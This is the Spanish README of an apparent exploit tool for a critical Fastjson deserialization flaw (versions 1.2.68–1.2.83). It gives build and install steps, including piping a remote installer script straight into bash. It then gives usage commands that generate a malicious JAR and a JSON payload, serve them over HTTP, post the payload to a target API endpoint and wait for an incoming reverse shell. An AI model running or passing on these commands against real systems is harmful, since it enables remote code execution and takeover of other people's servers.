
Una vulnerabilidad crítica que afecta a las versiones 1.2.68 – 1.2.83 de Fastjson.
Una implementación independiente en C++17 para CVE-2026-16723, una vulnerabilidad crítica que afecta a Fastjson versiones 1.2.68 – 1.2.83.
Linux (o WSL en Windows)
Compilador compatible con C++17 (GCC 7+ o Clang 5+)
CMake 3.10 o superior
Paquetes del sistema:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
Instala todo con un solo comando:
curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash
O descarga y ejecuta el instalador manualmente:
wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
El script de instalación hará lo siguiente:
Instalará todos los paquetes del sistema requeridos.
Descargará las librerías de solo cabecera requeridas:
nlohmann/jsoncpp-httplibCompilará el proyecto.
Colocará el binario compilado en el directorio actual como:
./exploit
Si clonaste el repositorio:
git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
O compila manualmente:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
Ejecuta el binario:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
Tras la ejecución se crearán los siguientes archivos:
x
body.json
El servidor HTTP se iniciará en el puerto configurado (por defecto: 8000) y la herramienta esperará una conexión reverse shell entrante.
Envía el archivo body.json generado al endpoint vulnerable:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
Si la aplicación espera un campo JSON diferente, especifícalo con la opción --field.
| Archivo | Descripción |
|---|---|
x | Payload JAR generado |
body.json | Payload JSON para enviar al objetivo |
jar:http y jar:file.| Opción | Descripción | Por defecto |
|---|
--lhost | Dirección IP local | Requerido |
--lport | Puerto de escucha para reverse shell | 4444 |
--http-port | Puerto del servidor HTTP | 8000 |
--first | Primer descriptor de archivo a probar | 3 |
--last | Último descriptor de archivo a probar | 30 |
--field | Nombre del campo JSON | facets |
--outdir | Directorio de salida | . |
-h, --help | Muestra el mensaje de ayuda | — |